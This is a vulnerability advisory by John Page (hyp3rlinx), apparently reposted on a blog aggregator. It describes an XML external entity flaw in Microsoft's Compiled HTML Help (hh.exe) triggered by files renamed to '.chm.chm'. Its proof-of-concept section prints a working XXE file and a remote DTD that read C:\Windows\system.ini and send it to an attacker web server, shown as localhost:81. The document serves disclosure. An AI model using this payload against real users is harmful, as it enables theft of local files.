[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-HTML-HELP-UNCOMPILED-CHM-FILE-XML-EXTERNAL-ENTITY-INJECTION.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Microsoft Compiled HTML Help "hh.exe"

Microsoft
Compiled HTML Help is a Microsoft proprietary online help format,
consisting of a collection of HTML pages, an index and other navigation
tools.
The files are compressed and deployed in a binary format with
the extension .CHM, for Compiled HTML. The format is often used for
software documentation.
CHM is an extension for the Compiled HTML file format, most commonly used by Microsoft's HTML-based help program.

[Vulnerability Type]
Uncompiled .CHM File XML External Entity Injection

[CVE Reference]
N/A

[Security Issue]
CHM
Files are usually created using Microsofts "HTML Help Workshop"
program. However, I find a way to bypass using this program and create
them easily by
simply adding double .chm extension to the file
".chm.chm". Compiled HTML Help "hh.exe" will then respect and open it
processing any JS/HTML/XML inside etc.
Compiled HTML Help is also
vulnerable to XML External Entity attacks allowing remote attackers to
steal and exfiltrate local system files.

Whats interesting about
this one is we can create the file without using the "Microsoft HTML
Help Workshop" program. Also, we can steal files without
having to use the "hhtctrl.ocx" ActiveX control CLASSID: 52a2aaae-085d-4187-97ea-8c30db990436 or other code execution methods.

While
CHM is already considered a "dangerous" file type and other type of
attacks have already been documented. I thought this was an interesting
way to
create CHM files "Uncompiled" bypassing the default creation steps while stealing local files in the process.

Note: User interaction is required to exploit this vulnerability.

[Exploit/POC]
1) python -m SimpleHTTPServer

2) "XXE.chm.chm"

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML//EN">
<HTML>
<HEAD>
<Title>Uncompiled CHM File XXE PoC</Title>
</HEAD>
<BODY>
<xml>
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE tastyexploits [
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://localhost:81/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>
</xml>
</BODY>
</HTML>

3) "payload.dtd"  (hosted in python web-server dir port 8000 above)

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://localhost:81?%file;'>">
%all;

Open the "XXE.chm.chm" file and will exfil Windows "system.ini", attacker Server IP is set to localhost using port 81 for PoC.

Tested successfully Windows 7/10

[POC Video URL]
https://www.youtube.com/watch?v=iaxp1iBDWXY

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: April 25, 2019
MSRC Response: "We determined that this behavior is considered to be by design"
July 16, 2019 : Public Disclosure

[+] Disclaimer
The
information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission
is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and
that due credit is
given. Permission is explicitly given for insertion in vulnerability
databases and similar, provided that due credit
is given to the
author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility
for any damage caused
by the use or misuse of this information. The author prohibits any
malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Microsoft Compiled HTML Help / Uncompiled .chm File XML External Entity的更多相关文章

  1. Microsoft Internet Explorer v11 XML External Entity Injection 0day

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  2. XML External Entity Injection(XXE)

    写在前面 安全测试fortify扫描接口项目代码,暴露出标题XXE的问题, 记录一下.官网链接: https://www.owasp.org/index.php/XML_External_Entity ...

  3. XXE(XML External Entity attack)XML外部实体注入攻击

    导语 XXE:XML External Entity 即外部实体,从安全角度理解成XML External Entity attack 外部实体注入攻击.由于程序在解析输入的XML数据时,解析了攻击者 ...

  4. XML External Entity attack/XXE攻击

    XML External Entity attack/XXE攻击   1.相关背景介绍 可扩展标记语言(eXtensible Markup Language,XML)是一种标记语言,被设计用来传输和存 ...

  5. 【译】Attacking XML with XML External Entity Injection (XXE)

    原文链接:Attacking XML with XML External Entity Injection (XXE) XXE:使用XML外部实体注入攻击XML 在XML中,有一种注入外部文件的方式. ...

  6. XML External Entity attack

    解析外部xml给本地带来的安全隐患. https://en.wikipedia.org/wiki/XML_external_entity_attack An XML External Entity ( ...

  7. 4.XXE (XML External Entity Injection)

    XXE (XML External Entity Injection) 0x01 什么是XXE XML外部实体注入 若是PHP,libxml_disable_entity_loader设置为TRUE可 ...

  8. Fortify漏洞之XML External Entity Injection（XML实体注入）

    继续对Fortify的漏洞进行总结,本篇主要针对  XML External Entity Injection(XML实体注入) 的漏洞进行总结,如下: 1.1.产生原因: XML External ...

  9. Portswigger web security academy：XML external entity (XXE) injection

    Portswigger web security academy:XML external entity (XXE) injection 目录 Portswigger web security aca ...

随机推荐

  1. [Web 安全] WASC 和 OWASP两个web安全方面组织机构介绍

    copy from :  http://blog.sina.com.cn/s/blog_70b7aab9010126mn.html WASC 和 OWASP.这两个组织在呼吁企业加强应用安全意识和指导 ...

  2. Spark2.x（五十四）：在spark structured streaming下测试ds.selectExpr()，当返回列多时出现卡死问题。

    业务需求,有一部分动态字段,需要在程序中动态加载并解析表达式: 实现方案1):在MapFunction.MapPartitionFunction中使用FelEngine进行解析: FelEngine ...

  3. ngxtop安装和使用

    监控nginx的请求信息,总共收到了多少个请求,有哪些成功的,有哪些失败的 ngxtop安装 1.安装python-pip 1) yum install epel-release 出现如下错误:No ...

  4. Post Setting Proxy 设置 代理

    postman的代理使用篇(四) - codingstudy - SegmentFault 思否https://segmentfault.com/a/1190000012024844 postman ...

  5. [Matplotlib] Data Representation

    Jupyter Notebook Goto: https://plot.ly/python/#3d-charts[丰富的作图资源]   Data Visualization¶ In [1]: from ...

  6. 【tensorflow基础】ubuntu-tensorflow可视化工具tensorboard-No dashboards are active for the current data set.

    前言 今天基于tensorflow训练一个检测模型,本应看到训练曲线的,却只见到一个文件events.out.tfevents.1570520647.hostname,后来发现这个文件可以查看训练曲线 ...

  7. [LeetCode] 244. Shortest Word Distance II 最短单词距离 II

    This is a follow up of Shortest Word Distance. The only difference is now you are given the list of ...

  8. 带CheckBox美化控件的表格全选

    带CheckBox美化控件 <table class="positionTable commonListTable" id="positionTable" ...

  9. python 浅拷贝和深拷贝（9）

    何谓浅拷贝/深拷贝,说得直白一点,其实就是数据拷贝,两者到底有什么区别呢?听着就挺迷糊的,python开发项目的时候说不定你就能碰上这样的坑~~     一.普通的变量赋值 我们平常使用的变量赋值就是 ...

  10. Ubuntu 18.04 安装远程桌面

    原文链接:https://baijiahao.baidu.com/s?id=1619271691270163095&wfr=spider&for=pc 安装 tightvncserve ...